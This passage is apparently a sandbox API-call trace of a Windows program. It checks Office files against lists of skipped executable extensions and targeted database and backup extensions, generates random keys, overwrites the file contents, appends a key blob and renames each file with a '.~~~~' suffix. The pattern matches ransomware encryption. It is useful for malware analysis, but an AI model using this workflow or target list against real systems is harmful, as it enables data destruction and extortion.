	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0146.074] lstrlenW (lpString=".myd") returned 4
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0146.074] lstrlenW (lpString=".DTXS") returned 5
	[0146.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0146.074] lstrlenW (lpString=".ckp") returned 4
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0146.075] lstrlenW (lpString=".dbt") returned 4
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0146.075] lstrlenW (lpString=".db") returned 3
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".db") returned 0x0
	[0146.075] lstrlenW (lpString=".TXT") returned 4
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0146.075] lstrlenW (lpString=".MDF") returned 4
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0146.075] lstrlenW (lpString=".bdb") returned 4
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0146.075] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.075] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395da0) returned 1
	[0146.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.076] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.076] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26606631465) returned 1
	[0146.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc079a670, dwHighDateTime=0x1d60e1e)) 
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2138
	[0146.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2138 | out: hHeap=0x300000) returned 1
	[0146.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870430
	[0146.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.077] GetLastError () returned 0x0
	[0146.077] GetLastError () returned 0x0
	[0146.077] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.077] GetLastError () returned 0x0
	[0146.077] GetLastError () returned 0x0
	[0146.078] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0146.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.079] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0146.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.079] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.079] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.079] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.079] CloseHandle (hObject=0x114) returned 1
	[0146.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0146.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.~~~~")) returned 1
	[0146.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.082] GetLastError () returned 0x0
	[0146.082] RtlWakeConditionVariable () returned 0x365f70
	[0146.082] GetCurrentThreadId () returned 0xaf0
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0146.082] lstrlenW (lpString=".cmd") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0146.082] lstrlenW (lpString=".dll") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0146.082] lstrlenW (lpString=".bat") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0146.082] lstrlenW (lpString=".cpl") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0146.082] lstrlenW (lpString=".sys") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0146.082] lstrlenW (lpString=".msc") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0146.082] lstrlenW (lpString=".com") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".com") returned 0x0
	[0146.082] lstrlenW (lpString=".lnk") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0146.082] lstrlenW (lpString=".msp") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0146.082] lstrlenW (lpString=".pif") returned 4
	[0146.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0146.082] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0146.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.084] lstrlenW (lpString=".sqb") returned 4
	[0146.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0146.084] lstrlenW (lpString=".ost") returned 4
	[0146.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0146.084] lstrlenW (lpString=".txt") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0146.085] lstrlenW (lpString=".mdt") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0146.085] lstrlenW (lpString=".BDB") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0146.085] lstrlenW (lpString=".eql") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0146.085] lstrlenW (lpString=".DBF") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0146.085] lstrlenW (lpString=".EQL") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0146.085] lstrlenW (lpString=".FDB") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0146.085] lstrlenW (lpString=".EDB") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0146.085] lstrlenW (lpString=".DACPAC") returned 7
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0146.085] lstrlenW (lpString=".VHD") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0146.085] lstrlenW (lpString=".DBV") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0146.085] lstrlenW (lpString=".dacpac") returned 7
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0146.085] lstrlenW (lpString=".sdf") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0146.085] lstrlenW (lpString=".accdb") returned 6
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0146.085] lstrlenW (lpString=".DBX") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0146.085] lstrlenW (lpString=".MDT") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0146.085] lstrlenW (lpString=".SQB") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0146.085] lstrlenW (lpString=".vhd") returned 4
	[0146.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0146.085] lstrlenW (lpString=".bac") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0146.086] lstrlenW (lpString=".mdf") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0146.086] lstrlenW (lpString=".BAK") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0146.086] lstrlenW (lpString=".BAC") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0146.086] lstrlenW (lpString=".dbs") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0146.086] lstrlenW (lpString=".vhdx") returned 5
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0146.086] lstrlenW (lpString=".NDF") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0146.086] lstrlenW (lpString=".dat") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0146.086] lstrlenW (lpString=".DBS") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0146.086] lstrlenW (lpString=".CKP") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0146.086] lstrlenW (lpString=".edb") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0146.086] lstrlenW (lpString=".PST") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0146.086] lstrlenW (lpString=".dbf") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0146.086] lstrlenW (lpString=".SQL") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0146.086] lstrlenW (lpString=".pst") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0146.086] lstrlenW (lpString=".dbv") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0146.086] lstrlenW (lpString=".SDF") returned 4
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0146.086] lstrlenW (lpString=".dtxs") returned 5
	[0146.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0146.086] lstrlenW (lpString=".db3") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0146.087] lstrlenW (lpString=".OST") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0146.087] lstrlenW (lpString=".dbx") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0146.087] lstrlenW (lpString=".DB3") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0146.087] lstrlenW (lpString=".DAT") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0146.087] lstrlenW (lpString=".VHDX") returned 5
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0146.087] lstrlenW (lpString=".ndf") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0146.087] lstrlenW (lpString=".DB") returned 3
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0146.087] lstrlenW (lpString=".sql") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0146.087] lstrlenW (lpString=".MYD") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0146.087] lstrlenW (lpString=".DBT") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0146.087] lstrlenW (lpString=".ACCDB") returned 6
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0146.087] lstrlenW (lpString=".fdb") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0146.087] lstrlenW (lpString=".bak") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0146.087] lstrlenW (lpString=".myd") returned 4
	[0146.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0146.087] lstrlenW (lpString=".DTXS") returned 5
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0146.088] lstrlenW (lpString=".ckp") returned 4
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0146.088] lstrlenW (lpString=".dbt") returned 4
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0146.088] lstrlenW (lpString=".db") returned 3
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".db") returned 0x0
	[0146.088] lstrlenW (lpString=".TXT") returned 4
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0146.088] lstrlenW (lpString=".MDF") returned 4
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0146.088] lstrlenW (lpString=".bdb") returned 4
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0146.088] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.088] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395da0) returned 1
	[0146.089] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.089] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0146.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.089] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26607954717) returned 1
	[0146.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc07c07d0, dwHighDateTime=0x1d60e1e)) 
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2020
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2020 | out: hHeap=0x300000) returned 1
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0146.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870728
	[0146.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.090] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.090] GetLastError () returned 0x0
	[0146.091] GetLastError () returned 0x0
	[0146.091] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.091] GetLastError () returned 0x0
	[0146.091] GetLastError () returned 0x0
